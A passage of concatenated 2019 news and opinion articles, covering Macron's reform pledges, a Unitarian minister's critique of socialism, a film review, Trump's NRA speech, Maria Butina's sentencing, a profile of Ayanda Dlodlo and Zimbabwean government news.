devolve power from the capital to more remote cities and villages, which have seen a steady drain of jobs and resources. Chief among these reforms will be scaling back the policy of dirigisme, essentially a highly centralized form of government intervention in the economy, radiating outward and downward from Paris. If implemented, this reform would be a rare and welcome example of subsidiarity. Macron also vowed to guarantee the access for all to health services and guarantee that no school or hospital will be closed without the mayors approval. President Macron will close the nations Ivy League school for government bureaucrats, the ENA. Macron promised to close Frances elite finishing school for politicians, the Ecole Nationale dAdministration (ENA), which has become a symbol of the perpetuation of cronyism. Macron signaled last week that he wanted to offer chances to all of our young people on the basis of merit and not their social or family origins. A full 70 percent of ENA students have parents in the cadres, or prestigious executive positions. This is not a meritocratic system anymore, Macron said Thursday. We dont need job-for-life protection. The nations free market advocates supported the reform, with caveats. Yes, the removal of the ENA is a good measure, provided that the new administrative elites are trained and recruited differently, wrote Agnes Verdier-Molinie, director of the think tank Fondation iFRAP, in Le Figaro. France struggles to reform itself, because big [institutions] and unions almost always block needed reforms. Macron promised greater use of the civilian referendum and structural reform for Parliament. President Macron wants to designate approximately one-fifth of Parliament seats to be elected by proportional representation, instead of a winner-take-all system like that of the United States. He said this will give greater representation to minority parties. He also promised a greater role for citizens to call a referendum. But with an apparent eye on Brexit, he added, I dont believe in permanent referendums, because referendums dont allow for difficult decisions at the time when they must be made. Macron promised to crack down on political Islam. Macron singled out political Islam as the origin of clannishness that has crept into some neighborhoods. In those areas, some clerics, in the name of religion, are pursuing a political project that wants to secede from our republic. Macron also proposed greater control of European borders. Macron called on European nations to do a better job stopping illegal migration into the EU. On the European level, we decided to have common borders, he said. Its not working anymore. To be welcoming, you need to have a house. So, we need borders, he said. We need borders to be respected. We need rules. Macron said that nations that refuse to enforce the EUs border and nations such as Hungary and Poland, which refuse to acceptthe quota of Middle Eastern migrants apportioned by Brussels should be expelled from the Schengen area. This is the basis upon which Schengen should be overhauled, even if it means having fewer states within Schengen, he said. How have the French people responded? A poll found that 63 percent of the French public found themselves unconvinced by the conference, and only seven percent said Macrons plans were very convincing. Les Republicains leader Laurent Wauquiez said the initiatives amounted to marginal adjustments. Socialist Party leader Oliver Faure called Macrons response small. And Fondation iFRAP called his proposals a poor harvest. Macron did not promise to run for re-election in 2022. Macron, 41, is one of the most ambitious leaders in Europe. But after being swept into power in an historic election (over the massively unpopular National Front), his poll numbers have remained mired in the 20s or 30s, and both of his most recent predecessors have served only one term. He did not directly answer whether he will seek a second term, although there is little doubt about his intentions. Macron misidentified the essence of French character. We are above all children of the Enlightenment. And it is from these debates, these deliberations, this capacity to contradict one another that good solutions can emerge for the country, Macron said in his address. The art of being French is being rooted and universal, attached to history and origins but embracing the future. There seems to be something missing from his description of a nation once known as the eldest daughter of the Catholic Church. Ironically, Macron had to postpone his speech one week, because the Notre Dame Cathedral fire broke out the morning that he was scheduled to give it. Apparently, even its smoldering ruins cannot draw Macrons attention to the importance of faith to his country and to Europe as a whole. French speakers can watch the press conference here. (Photo credit: Shutterstock.com.) Socialism has made a resurgence in this generation, not least because of its deceptive moral appeal. Secular Millennials join liberal priests, pastors, and rabbis in saying that profits corrupt, unequal outcomes are immoral and perhaps even Jesus would have been a socialist. Yet numerous people, secular and faithful, have weighed collectivism in the balance and found it wanting. One of the people who found socialism ethically inferior to capitalism came from an unlikely source: the Unitarian Church. His verdict? Socialism is the necessary outcome, not of religion but of irreligion, he said. Redistribution of wealth slows moral development and creates evils worse than capitalism. The minister in question, A. Powell Davies, was once one of the most influential church leaders in the United States. He crusaded for civil rights as pastor of All Souls Church in Washington, D.C. He counted Supreme Court Justice Hugo Black among his friends, and Justice William O. Douglas edited a book of his sermons. The Religious Left leader was honored by the liberal Americans for Democratic Action posthumously. Reverend Arthur Powell Davies (1902-1957) was a British-born Methodist who converted to Unitarianism if convert is the proper noun for such a change. Davies embodied William F. Buckley Jr.s caricature of the Unitarian who believed in at most one God. This ancient God of miracles and interventions is really dead, wrote Davies, who styled himself a theological radical, in his 1946 book The Faith of an Unrepentant Liberal. There is no God in the sky, he wrote in another context. There is no army of angels, no hosts of seraphim and no celestial hierarchy. All this is mans imaginings. Any belief in the supernatural, he believed,represses growth. It keeps the mind always childish. However, his lack of faith (from a traditional perspective) underscores the point. Although there is a high correlation between secularism and socialism, Davies revealed at least a few of socialisms failures. Davies, who provided weekly analyses of national issues from his pulpit, turned his glance upon socialism in an address titled Is Socialism More Ethical Than Capitalism? which was delivered on October 16, 1949. Despite the title of his address, Davies actually explored only the morality of compulsory wealth redistribution as was practiced by Labour government-era Britain. But even a radical non-theist found that the welfare state did not pass muster as a moral economic system. Socialism is not an ethical advance; socialism is an ethical compromise, he said. First, Davies rejected Marxism because of its belief that human nature could not be improved. Socialism compels people to redistribute wealth from the rich to the poor, something Davies supported. But compulsion is not ethically nobler than choosing to give ones own goods to the poor. [E]thically they are better for what they do voluntarily than for what they are compelled to do, even though they themselves consent to the compulsion, he said. The very decision to turn to the state implies that people cannot be trusted to exercise their freedom responsibly. Socialism comes about not because of idealism, but because of despair. Davies also denied socialism is more ethical than capitalism for a second reason, which echoed the most famous dictum of Lord Acton: From the viewpoint of religion, there is no more evil in the profits of a capitalist than in the vanity of a socialist politician. The one seeks money, the other, notoriety. [H]uman nature under either system would exploit the weaknesses of that particular system, and I fear the weaknesses of compulsory systems more than those of voluntary ones. In 1949, the Unitarian lamented that Americans would even give away a part of their freedom because they could not trust themselves and each other to act fairly on a voluntary basis. But collectivisms greatest harm is its view of human character, Davies said. Ultimately, socialism retards humanitys moral progress: [C]apitalism leaves more room for liberty and encourages ethical maturity and voluntary righteousness. Compulsory systems, paternalistic and authoritarian, foster attitudes which are ethically not grown up. Since socialism is an ethical retreat from free moral action, it cannot embody the goal of any religion: When therefore, churchmen draw closer to socialism and say it is the necessary outcome of religious idealism, they are mistaken. It is the necessary outcome not of religion but of irreligion; that is to say, it is the necessary outcome of the evils of the human heart which prevent us from doing voluntarily what we are therefore obliged to do from compulsion. Traditional Christianity taught for millennia that believers should diligently cultivate wealth so that we can freely distribute it to those in need. Almsgiving, a pillar of all three Abrahamic religions, benefits the giver by freeing him from greed and allowing him to express love for the recipient. The notion that it is morally superior for Christians to ask the government to forcibly redistribute others possessions is so fatuous that it was once exposed by a non-believer in the pulpit. (Photo credit: Ben Sutherland. CC BY 2.0.) Director Harmony Korine's newest feature, The Beach Bum, seems the likely follow-up to his 2013 candy-coated crime caper Spring Breakers. Substitute your Vanessa Hudgens for Zac Efron and your James Franco for Matthew McConaughey and the casting decisions to break away from type seem borderline formulaic. Tonally, the films are similar, with wandering, boozy shots and dialogue seemingly lifted right from your acid casualty neighbor and color cues taken from him as well. Where Beach Bum diverges, however, is in substance. While leisure and pleasure seem the ultimate goal of both McConaughey's Moondog and the girls of Breakers, the method of getting there differs wildly. Crime sprees and social climbing are the girls' preferred method. Laying back and taking the world in one toke at a time is Moondog's. While heavy smoking and sleeping around might seem like a philosophically void path to enlightenment, it's really the only way there in an America who's ethos is to constantly tell you to want more, buy more, be more. Every Hollywood movie builds up this idea, from foundational kids' animation to aspirational teen drama to middle-aged career comedy and beyond. And what better way to respond to that constant pressure than to do and be nothing at all? Sure, Moondog has written fairly successful poetry and given the odd public speech, but the practice he preaches is the one he lives, a sort of contagious cosmic hedonism. Partying with him will leave you a happier, more content person, even if you happen to lose a foot, a husband or a few million dollars in the process. Even the worst possible outcome has some sort of humor to it, and it's really only a crisis if you give it credit, or at least so says Matthew McConaughey, on his character's philosophy. In keeping with Korine's original approach to filmmaking, each scene is distinct. His older films, Gummo and Julien Donkey Boy, cut from shock to shock and feature no obvious plotline, character development, or enlightening lesson. Beach Bum is the 21st-century update, still without a Hollywood screenwriter's favorite "character arc" or sunset ending. Now, Korine relocates his infamous shock treatment to the pleasure center boobs and butts galore! and happy endings are instead distributed throughout, right from the very first scene. Moondog wanders from situation to situation, cameo to cameo, and no matter how dire each set up appears, none of them impact him for much longer than his last toke did. It's easy to read Korine's recent works as plain ol' silly, and maybe it's over-analysis to argue that his shift in tone from 90s pessimism to this decade's indulgence is perfectly in tune with the changing times. But! Maybe it's not, and Korine's Beach Bum is at once both critical of the devil-may-care lifestyle and lauding it as an exemplar of the best way to live life. The world feels so serious these days and everything seems like it's falling apart, getting exponentially worse or going to end entirely. Of course, the world is serious and you should care, but rather than submit to the ultimate bummer, try your hand at pursuing nothing at all, and doing it happily, Moondog style. Preferably in a captain's hat, joint in hand and setting off a money-laden explosion for the tourists in the Florida Keys. As Donald Trump spoke at today's National Rifle Association convention in Indianapolis, someone threw an object on stage. Also at the NRA convention today, Trump went on a bananas rant about a failed "coup," and told the audience at the NRA's "leadership forum" he will "never, ever let [them] down." Oh. And Trump also announced the U.S. is withdrawing from a global arms treaty. Here's the tossing of the purported phone, or whatever it was. Someone threw an object at Trump during his talk at the NRA convention in Indianapolis. Various unverified reports it was a phone. Here's video by @realBradBrewer. https://t.co/sgfIZ4Zv8a pic.twitter.com/ZLKmbraFQN Xeni (@xeni) April 26, 2019 Now about that arms treaty: President Donald Trump said that his administration is withdrawing from a global arms treaty that set rules for sales and transfers of small arms, missile launchers and warships. "My administration will never surrender American sovereignty to anyone. My administration will never ratify the UN Arms Treaty," Trump said Friday at a National Rifle Association conference in Indiana. "We're taking our signature back." Also, from Trump's remarks today, this quote: "No matter how many centuries go by, how much the world changes, the central drama of human history remains the same. On one side are those who seek power, control and domination. And on the other side are patriots." Trump to the NRA: "No matter how many centuries go by, how much the world changes, the central drama of human history remains the same. On one side are those who seek power, control and domination. And on the other side are patriots." David Freedlander (@freedlander) April 26, 2019 Maria Butina (aka Mariia Butina) has been sentenced to 18 months in prison for conspiring to act as an unregistered agent for the Russian government in the United States. She will get credit for the 9 months she's already served, meaning she must now serve an additional 9 months under today's sentence. There must be interesting reasons she received so many visits from Russian "consular officials" while detained during her trial. "You have a future ahead of you," said the judge during Butina's sentencing hearing. "I wish you the best luck." When Butina's done serving her time, the U.S. tosses her out. Her fate back home may be that of a national hero. Or not, hard to know in Putin's Russia. Butina won't be allowed back in the United States for at least another 10 years. Here is her deportation order with details. Also in today's news, President Donald Trump will shortly address the NRA convention in Indianapolis. Butina's work as an unregistered foreign agent of Russia's military was to develop ties with Trump and the NRA, to influence America and achieve Russian foreign policy goals within the borders of its enemy. The Russian Embassy dismisses Butina's sentence as 'blatant lawlessness,' and there's an article on their official Twitter mouthpiece if you'd like to read it. We avoid linking to the enemy. Here is the Justice Department's announcement about Butina's sentencing: Mariia Butina, a Russian national, was sentenced today to 18 months in prison after earlier pleading guilty to a federal charge of conspiracy to act as an agent of a foreign government. The announcement was made by Assistant Attorney General for National Security John C. Demers, U.S. Attorney for the District of Columbia Jessie K. Liu, and Assistant Director in Charge Nancy McNamara of the FBI's Washington Field Office. Butina, 30, a Russian citizen who had been residing in Washington D.C., pled guilty on Dec. 13, 2018, in the U.S. District Court for the District of Columbia. She was sentenced by Judge Tanya S. Chutkan. Following her incarceration, she is to be deported to Russia. According to the government's evidence, from approximately 2015 to 2017, Butina acted as an agent of a Russian government official. Under his direction, she provided key information about Americans who were in a position to influence United States politics and took steps to establish an unofficial line of communication between Russia and these Americans. As described in the plea documents, Butina sought to do so for the benefit of the Russian Federation. She took these actions without providing the required notifications to the Attorney General that she was in fact acting as an agent of the Russian Federation. Butina was arrested on July 15, 2018, in Washington, D.C., and has been in custody ever since. Butina will get credit for the time she already has served. The court also granted a government motion that led to a reduced sentence in the case. The investigation into this matter was conducted by the FBI's Washington Field Office. The case was prosecuted by Assistant U.S. Attorneys Erik M. Kenerson, Thomas N. Saunders, and Jolie Zimmerman of the National Security Section of the U.S. Attorney's Office for the District of Columbia, and Trial Attorney William A. Mackie of the National Security Division of the U.S. Department of Justice. What happens to Paul Erickson's legal fate now, one wonders? Responses from Twitter below. The prosecutor said that Butina was executing a plan to establish contact between the two governments, for the benefit of Russia. The information was "of extreme importance to the Russian Federation," he said. "She was not simply a grad student." https://t.co/GnCqlNwLvG Noah Shachtman (@NoahShachtman) April 26, 2019 NOW: Maria Butina has been sentenced to 18 months in prison for conspiring to act as an agent for the Russian government in the United States (she will get credit for the 9 months she's already served) Zoe Tillman (@ZoeTillman) April 26, 2019 Butina's sentencing memorandum was fairly extraordinary and highlights the on-going threat from Russia that @KenDilanianNBC and I wrote earlier this week https://t.co/41R5Lz4LeT Tom Winter (@Tom_Winter) April 26, 2019 As Trump addresses the NRA, I wonder if he'll talk about the Maria Butina prosecution/sentencing and the Russian connections she was making with the NRA? Will he ask if the NRA received dirty Russian money, and if so, was that money passed on to political candidates? Glenn Kirschner (@glennkirschner2) April 26, 2019 BREAKING: Maria Butina sentenced to 18 months in prison. pic.twitter.com/OFjOkRr5Qy MSNBC (@MSNBC) April 26, 2019 Butina's lawyer, Robert Driscollwho is also repping the WH official who gave Kushner a security clearance over the objection of adjudicatorssays that "Foreign nationals should be exceedingly concerned by this outcome." The judge completely repudiated his view of the case. Ken Dilanian (@KenDilanianNBC) April 26, 2019 The NRAs about to fold to protect the president. All of the "internal conflicts" getting out to the press right now is to make sure we don't pay attention to this so they frame it like they're reforming the organization because they worked with Russia. https://t.co/mVnZyujLjh David Hogg (@davidhogg111) April 26, 2019 While speaking at the National Rifle Association convention in Indianapolis, Indiana just now, President Donald Trump spoke to pro-weapons advocates about a failed coup against him. "I didn't need a gun" to ward off a coup by Robert Mueller, Donald said. He said the FBI was "trying to infiltrate the White House," and urges an inquiry into the investigation surrounding his contacts with Russia. Trump claimed "corruption" at the "highest level" of the Justice Department, and called U.S. law enforcement "a disgrace." Video below. Donald Trump at NRA today escalates "coup" smear against opposition party: "They tried for a coup, it did not work out so well. [Applause] I did not need a gun for that one, did I? They were trying for an overthrow and I caught 'em." https://t.co/BxX8JGHUo7 via @atrupar @cspan pic.twitter.com/yFatoR34Ro Xeni (@xeni) April 26, 2019 The president also withdrew from a global arms treaty, and survived the apparent tossing of an object toward the stage. Also today, Russian agent Maria Butina was sentenced to 18 months prison minus time served for acting in an influence operation that targeted the NRA and Trump. The use of the "coup" language by Trump has escalated since the release of the less-redacted version of Robert Mueller's report. TRUMP: "This was a coup. This wasn't stealing information from an office in the Watergate apartments. This was an attempted coup. Like a third world country. Inconceivable." pic.twitter.com/3g8LBIstLS Aaron Rupar (@atrupar) April 26, 2019 Trump accuses Hillary Clinton of "destroying the lives of people that were on our campaign. She's destroyed their lives." "This was a coup. This was an attempted overthrow of the United States government," the president adds, referring to the Mueller probe. pic.twitter.com/Uvfcr1mQeo Aaron Rupar (@atrupar) April 26, 2019 "This was a coup. This was an attempted overthrow of the United States government," Trump says of the Russia investigation to adviser & Fox host Hannity. Philip Rucker (@PhilipRucker) April 26, 2019 I wrote this last week and I'll write it again. Just be prepared for Trump not leaving if he loses in 2020. He will say the election is rigged. He will call it a coup and a deep state conspiracy. He will attack all institutions. Right wing media and Republicans will defend him. Wajahat Ali (@WajahatAli) April 26, 2019 Hey Remember last night? That's when Trump said that he was above the law & investigations into his corruption were a coup? Yeah. That was last night. Jesse Ferguson (@JesseFFerguson) April 26, 2019 At the NRA annual meeting on Friday, Trump trained his fire on Democrats and the Mueller investigation for what he called a failed "coup" attemptone he boasted of having defeated without a gun https://t.co/Vhw1fmyKbY The Daily Beast (@thedailybeast) April 26, 2019 Ayanda Dlodlo is a fierce lady who has successfully become a political leader and influencer in an otherwise male-dominated arena. She is an inspiration to many women who are now coming out of the private spheres and facing the world with confidence. She is also a mother who proves that a woman can indeed have it all. She deserves recognition and appreciation for her work. Image: twitter.com, @MinAyandaDlodlo Source: Twitter Miss Ayanda Dlodlo is currently serving as Minister of Public Service and Administration at the National Assembly. She successfully contested and won a seat in the current Parliament before this appointment. Who is Dlodlo? She is a South African citizen who was born on the 22nd of May 1963. Ayanda Dlodlo is 55 years old. When she was a toddler, her parents relocated to Swaziland to escape the harsh reality of the apartheid rule. READ ALSO: 4 facts about the beautiful Stella Ndabeni-Abrahams, SA's new Minister of Communications Early life Most of her formative years were spent in Swaziland. Later on, her parents dissolved their marriage, and then she moved to Johannesburg with her mother. She did not live very long in the city because she had to leave for Angola. At only 17, she was bold enough to become an active member of uMkhonto weSizwe. This was in 1980 while she was still living in Angola. Education While she was in Angola, Dlodlo underwent military training. She obtained more military training in the Union of Soviet Socialist Republics. She later pursued postgraduate studies in Management Development, Shipping and Transport Management, and Business Management and Executive Development Programme in England. Family life Dlodo got married in her younger years. Ayanda Dlodlo also had a cousin called Theophilus Dlodlo, who unfortunately, was murdered in 1987. She barely talks about her late husband in the media. In the marriage, Dlodo and her husband were blessed with a son named Thabang Mnisi. Image: twitter.com, @MinAyandaDlodlo Source: Twitter Career Following the military training she received, Ayanda Dlodlo served in several camps across Angola. She then flew to England to study before coming back to her homeland in 1994. Ayanda Dlodlo Cape Town job experiences included working for Telkom, Sanlam and Portnet. It was not long before she followed her dream of joining politics. She bagged the position of secretary general of uMkhonto weSizwe Military Veterans Association. Since then, this fierce lady who is a member of the African National Congress (ANC) has held different positions in her political career. Starting with her current positions, these are; Current positions She is the Minister of Public Service and Administration at Parliament (National Assembly.) She was appointed to this position on February 26th, 2018. She is a member of parliament (National Assembly.) She has held this position since May 21st, 2014. She is the contact of her constituency at the African National Congress Constituency Office since May 21st, 2014. She is an active member of the African National Congress. Image: instagram.com, @minayandadlodlo Source: Instagram Her former positions were: She was the Minister of Home Affairs at National Executive. She held this position starting 17th October 2017 to 26th February 2018. On 30th of March 2017, Ayanda Dlodlo was appointed Minister of Communications at National Executive, a position she held until 17th October 2017. Dlodlo was also Deputy Minister of Public Service and Administration in the Executive wing of government from 26th May 2014. She left this post on the 30th of March 2017. She served as an elected member of the National Assembly until 21st May 2014. Her constituents had selected her as their representative in Parliament on the 16th of May 2014. Dlodlo was the 45th Candidate of the African National Congress election that was held nationally in 2014. She remained on this election list from the 22nd of April 2014 until the 7th of May 2014. She was also the contact of the constituency in the ANC Constituency Office 337 (Fetakgomo) from the 10th of May 2014 until the 6th of May 2014. She was also a member of the parliament from the 6th of May 2009 until the 6th of May 2014. She served as an active member of the Ethics and Members Interest Joint Committees. She left this position on the 6th of May 2014. From 31st October 2010, she was the Deputy Minister of Public Service and Administration at the Executive until 24th April 2014. She was also a member of the former National Executive Committee of the African National Congress before the current 80 members took up the role. She has previously served as the chair of the Legislature and Governance subcommittee. She was also the National Deputy of the Directorate for Special Operation in the Law enforcement unit. She previously headed the Department of Safety and Security in the Gauteng Province. Image: instagram.com, @minayandadlodlo Source: Instagram Controversies Minister Dlodlo faced a lot of backlash on social media after it was reported that she implied that Cape Town is a country. Through the Department of Home Affairs, she denied the claims and called out reporters for defaming her. In March 2019, she was also found in breach of the code of ethics. In 2015, she stayed at a luxury hotel in Dubai but did not disclose all the details. Her action was rebuked, and she accepted the penalty that was issued by the relevant authorities. Ayanda Dlodlo Cars Similar to all other ministers in government, Dlodlo's job affords her a lavish lifestyle. Despite this fact, Ayanda Dlodlo uses only department's official vehicle. Thus, it is not known whether she owns any brands of luxury vehicles. Social media Dlodlo has active pages on Twitter and Instagram. She often uses these platforms to update the public on significant political developments. She also educates the people about South Africa's history. Her Twitter account has about 23.2k followers whereas the Instagram account has over 1k followers. Ayanda Dlodlo is a tough woman who has carved out her path as a political leader in South Africa. Her strength and determination have seen her holding positions of power and might in the government. Despite being widowed at a young age, Dlodlo is raising her son in the best way she can. May she prosper in her future endeavours. READ ALSO: How much do the politicians in South Africa take home each month? Nzimande to be acting home affairs minister after Gigaba's resignation Source: Briefly.co.za News / National by Staff reporter PRESIDENT Mnangagwa has, with effect from May 1, appointed specialist public health physician Dr Agnes Mahomva as the new Permanent Secretary for Health and Child Care to replace Dr Gerald Gwinji who is yet to be reassigned.Mr Simon Masanga, a senior public administrator, has been appointed Secretary for Public Service, Labour and Social Welfare, replacing Dr Judith Kateera.In a statement, Chief Secretary to the President and Cabinet Dr Misheck Sibanda said: "The Chief Secretary to the President and Cabinet is pleased to announce that His Excellency the President has, in terms of Section 205 (1) of the Constitution of Zimbabwe Amendment (Number 20) Act 2013, appointed Dr Agnes Mahomva as the Permanent Secretary for the Ministry of Health and Child Care and Mr Simon Masanga as the Permanent Secretary for the Ministry of Public Service, Labour and Social Welfare."The appointments of Dr Mahomva and Mr Masanga as permanent secretaries are with effect from 1st May, 2019."Dr Mahomva holds undergraduate and post-graduate degrees in science, public health and medicine from the United States of America and Zimbabwe. She has over 22 years' experience in medical practice and managing and supporting public health programmes at local, regional and international levels.She once served as a clinical medical officer at different hospitals in the country and in the SADC region.Mr Masanga holds undergraduate and post-graduate degrees in politics and public administration and public sector management.He has vast experience in public, labour and social welfare administration and management at provincial and national levels in Zimbabwe. He rose through the ranks in the public sector from being a principal director in human resources, youth and indigenisation, labour and social welfare in different ministries, including public service. Former Minister of State for Mashonaland Central Advocate Martin Tafara Dinha is now the new board chairman for the National Railways of Zimbabwe (NRZ).Adv Dinha holds a law degree from the University of Zimbabwe and practiced law for 12 years in Zimbabwe, South Africa and Namibia. He was part of the team of lawyers that appeared before the SADC Tribunal in defence of the land reform and resettlement programme in Zimbabwe. He replaced Major General Douglas Nyikayaramba, who is now a diplomat.Adv Dinha's appointment is also with effect from May 1. The President also appointed Mr Ralpesh Patel as an additional member of the Presidential Advisory Council with immediate effect. Mr Patel is chief executive officer of Steel Makers. News / National by Staff reporter Government has challenged police officers from the Support Unit to be proactive when deployed to maintain law and order rather than wait for a directive from the command centre.The sentiments come after Government noted during the recent disturbances in and around the capital that most police officers did not act to contain the situation alleging that they had not received direct instructions from the Commissioner-General Godwin Matanga.Addressing officers during a visit to the Support Unit in Chikurubi, Home Affairs and Cultural Heritage Minister Cain Mathema said there should never be a moment of doubt on their ability to perform assigned tasks."During the unpatriotic rioters demonstrations, we were informed, CGP, myself and the permanent secretary, we were informed that at times they were cases where police officers were saying no, instead of taking action, the police officers were saying I haven't received a direct order from the Commissioner-General."Ladies and gentlemen, we were all trained. We all know the Constitution of Zimbabwe. We know the Police Act. We know all the instruments that create you."As a police officer, you are trained to take decisions right or wrong. This issue of indiscipline that the Commissioner-General has not given me a direct directive does not exist in all those books. He added,"You are supposed to do what you have been directed to do. When you have been posted to go and do a job, do your job professionally in the manner that you were trained to do it. If you do not do that, then you do not deserve to be in ZRP, let alone the Support Unit. Make decisions. That's why you are there. That's why you are trained."Minister Mathema said after interactions with the Commissioner-General, they saw it paramount to visit the officers."At times, people find themselves going astray simply because they do not have the correct information or guidance. Remember, there is always a mistaken tendency by some among you to want to wander or stray from the path of righteousness."It is therefore, important that from time-to-time, we give counsel, guidance as well as admonish," he said.He said Comm-Gen Matanga acknowledged that the Support Unit had stumbled along the way and what was important was helping it recover. News / National by Staff reporter The Zimbabwe National Army yesterday dismissed as false a story in a local newspaper alleging that poachers who were recently cornered in Bubye Valley Conservancy in Beitbridge had abandoned their AK47 assault rifle.Investigations carried out revealed that the weapon in question was a 303 rifle and not an AK47 rifle.In a statement, ZNA director public relations Lieutenant-Colonel Alphios Makotore urged the media to verify with the army before publishing any story relating to them."The organisation would like to put the record straight that the aforementioned rifle does not belong to the Zimbabwe National Army. It has since been established from police records that the weapon in question is actually a 303 rifle whose serial number is L9422 and not an AK47 rifle as reported in the media."The ZNA appeals to news organisations to verify with the organisation when they have stories of that nature as failure to do so leads to misinformation which in turn damages the image and reputation of the army," he said.He said the story was published in the NewsDay edition of April 22, 2019 with the headline, "Military rifle recovered from poachers", and was followed up with an editorial comment titled, "Military must help protect our wildlife".'The story quoted some "Beitbridge police sources close to the investigations" alleging that they had told them that they were following up a case where poachers abandoned a military rifle and a bag with clothes. News / National by Staff reporter A special envoy from Burundian President Pierre Nkurunziza yesterday paid a courtesy call on President Mnangagwa at his Munhumutapa Offices in Harare as the country seeks support for admission into Sadc.The special envoy, Burundi's Foreign Affairs Minister Ambassador Ezechiel Mbigira described Zimbabwe as a sister country with a rich history."Zimbabwe is a country that has a long history, a very good and encouraging history," he said."As the special envoy of President Pierre Nkurunzinza, I have come here to continue strengthening the relations between Burundi and Zimbabwe because Zimbabwe is a sister country. It's a country with which we have a common history and a common future that's why we need to relate with this country in a very special way."He added that he hoped his country's application to join Sadc would be successful and called on Zimbabwe to support its bid."As you know, Burundi has applied to become a member of Sadc and the process of dealing with our application is undergoing very well," he said."We believe that after the assessment mission that is coming to Burundi towards the end of May, the decision will be of course, taken for Burundi to become a member of Sadc."As Zimbabwe is our sister country, we believe that Zimbabwe will continue to support Burundi to become a member of Sadc."Ambassador Mbigira said his country had a lot to offer to Sadc if its application is successful."As Burundi, we have much to offer to Sadc. We have large nickel resources and economically we are going up. We are improving and we hope things will go on well," he explained.Burundi applied to join the Sadc in 2017 and has invited Sadc to evaluate its readiness to join the regional bloc next month. News / National by Staff reporter THE re-bundling of Zesa and merger of its five previously separate entities into a single integrated company will cut overhead costs and boost power generation efficiency, Vice President Constantino Chiwenga said yesterday.Government first unbundled Zesa in 1997 and later in 2006. The unbundling created five companies namely Powertel Communications, Zimbabwe Electricity and Transmission Distribution Company (ZETDC), Zimbabwe Power Company (ZPC), Zesa Enterprises (Zent) and Zesa Holdings.Further, Government set up the Rural Electrification Agency (REA) and the Zimbabwe Regulatory Authority (Zera). Addressing delegates at the Zimbabwe International Business Conference in Bulawayo, Chiwenga said the re-bundling of Zesa was part of Government's prioritisation of State Enterprises and Parastatals reforms."The re-bundling of Zesa into a single company with one board will, by cutting overhead costs, increase efficiencies to ensure viability, boost power generation capacity and enhance expansion of the local power supply network," he said."This is part of the Government's State Enterprises and Parastatals reforms and this is Government's priority. So far five public enterprises, namely TelOne, NetOne, Telecel, Zimpost and POSB have been targeted for immediate reform, with the identification and engagement of transaction advisors already in progress," said Chiwenga."The desired result of the reforms now underway is state enterprises, which are accountable, transparent, efficient, effective and viable, thereby contributing their fair share to Government's efforts to achieve strong, sustainable and inclusive economic development that leaves no one behind." Chiwenga also told delegates that Cabinet had approved the unbundling of the Grain Marketing Board (GMB), which has been split into a Strategic Grain Reserve Unit (SGR) and a commercial entity called Silo Industries.The SGR unit focuses on building and maintaining a strategic grain reserves for the country as social insurance, while the commercial entity is expected to operate profitably."Further to this, the capitalisation and restructuring of the Industrial Development Corporation of Zimbabwe (IDCZ) now underway will see it revert to its original role as Development Finance Institution (DFI), with a sole mandate to mobilise and provide funding for industrial development," said Chiwenga.He said the transformation of the IDCZ will benefit industry by providing affordable financing for retooling in line with the goals of the National Industry Development Policy.The Vice President said fiscal consolidation through containment of the fiscal deficit to sustainable levels was a key objective of both the Transitional Stabilisation Programme and Vision 2030. He said the Government was forging ahead with re-engaging of the international community in order to normalise relations."The dialogue and re-engagement initiatives are in fulfilment of the undertaking made by President Mnangagwa," said Chiwenga. News / National by Staff reporter AUSTERITY measures introduced by government this year will be over by next year when the country starts experiencing economic growth, Finance and Economic Development minister Mthuli Ncube has said.In addition to the cost-cutting measures, Ncube introduced a 2% tax on intermediated financial transactions to shore up government coffers, leaving an already overtaxed citizenry hard pressed.Speaking at the Zimbabwe International Business Conference held in Bulawayo yesterday, Ncube said the austerity measures could not be run for a long time."We need to go through some period of austerity, but build towards prosperity and I tell you that next year you will hear me use the word austerity less and less because we will start entering prosperity," Ncube said."I think I will limit austerity just to one year and then we move to prosperity towards 2023. But quite clearly, you can't do austerity for three years; it's a bad idea. One year, get it right and move on".He said government was doing well on the fiscus side."The government is solvent. We are running surpluses and we have been doing an average surplus of a $100 million a month since September last year," he said."This year alone, in January, we had a surplus of $102 million. In February we had a surplus of $85,5 million (and) in March our surplus would be double that.It will be just above $200 million. Money supply is not growing. So where is the pressure on the exchange rate coming from?"He said the pressure was coming from speculation, which is bad for the economy.Ncube also pleaded with industry to make use of the interbank market, saying as government they were making sure that economic fundamentals were put in place. News / National by Staff reporter A Chipinge-based Zanu PF member heaved a sigh of relief after he was acquitted and discharged for stealing party regalia and $100 from a ruling-party colleague.Prosper Sithole (42), of Chief Mutema in Chipinge, was acquitted for lack of evidence.He was acquitted by Chipinge magistrate Joshua Nembaware at the close of the State case on Tuesday after denying the charge last week.Sithole said the allegations emanated from the rivalry which existed between Chipinge Central legislator Raymore Machingura and the party primary elections losing candidate, Dorothy Chitima's supporters."I belong to Zanu PF together with the complainant, Ivy Mhlanga, but trouble started last year during the party's primary elections. The complainant was supporting Dorothy Chitima, while I was supporting the eventual winner, Raymore Machingura, who is now MP for Chipinge Central," Sithole said."The allegations are politically-motivated. The other issue is that she was the school development committee chair and she was voted out in my favour, so she is a bitter person."Nembaware, in his ruling, said the State had failed to prove its case beyond any reasonable doubt, which left the court with no option, but to acquit and discharge Sithole.Prosecutor Shamiso Ncube said on August 16 last year, Mhlanga was invited to attend a party meeting at Paidamoyo Business Centre.Sithole was also part of the meeting.During lunch hour, Sithole allegedly went to where Mhlanga was seated at the back of a party vehicle while having her lunch.He noticed some Zanu PF T-shirts which were in Mhlanga's bag and demanded that she distributes them to party supporters present, but the complainant allegedly refused.Sithole allegedly grabbed the bag and ran away, but returned it later.Mhlanga later indicated that her Zanu PF T-shirts and $100 were missing and reported the matter to the police, leading to Sithole's arrest. News / National by Staff reporter THE High Court has given a Harare couple employed by the Zimbabwe Revenue Authority (Zimra) 30 days to explain the source of their wealth, failing which their properties valued at $762 000 will be forfeited to the State.The National Prosecuting Authority (NPA)'s Asset Forfeiture Unit filed an urgent chamber application against Tapfumaneyi Zunguza and his wife Cathrine Laji in March and Justice Tawanda Chitapi granted the order on April 16.Circumstances into the matter are that the pair are employed by Zimra as revenue supervisor and revenue officer, respectively.According to the application, sometime in 2009, the couple acquired residential stands number 3807 and 3808 in Mainway Meadows, Waterfalls, Harare.During the same year, they bought another stand in Helensvale measuring 2 200 and construction commenced in 2011 and was completed in 2013.The NPA further alleged that the couple bought a Mazda BT50 twin cab for $40 000, but as per requirement with their employer, they were supposed to declare the assets from time to time.According to 